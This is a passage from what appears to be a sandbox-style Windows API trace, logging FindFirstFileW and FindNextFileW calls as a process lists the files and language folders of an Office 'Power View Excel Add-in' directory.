ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0221.190] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0221.190] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0221.190] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0221.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0221.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0221.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed620) returned 1 [0221.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in", nBufferLength=0x105, lpBuffer=0x206ed0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in", lpFilePart=0x0) returned 0x4e [0221.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\*", lpFindFileData=0x206ed340 | out: lpFindFileData=0x206ed340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0221.190] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.191] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0221.191] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0221.191] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0221.191] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0221.191] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0221.191] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0221.191] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0221.192] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0221.193] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap", cAlternateFileName="MICROS~1.XAP")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a9f7a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Reporting.Common.dll", cAlternateFileName="MIB9B1~1.DLL")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.dll", cAlternateFileName="MID48A~1.DLL")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.Entry.Interfaces.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0221.194] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Authorization.dll", cAlternateFileName="MIBBB9~1.DLL")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Interfaces.dll", cAlternateFileName="MI2DB2~1.DLL")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7641936, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7641936, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5556e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ProgressiveProcessing.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0221.195] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0221.195] 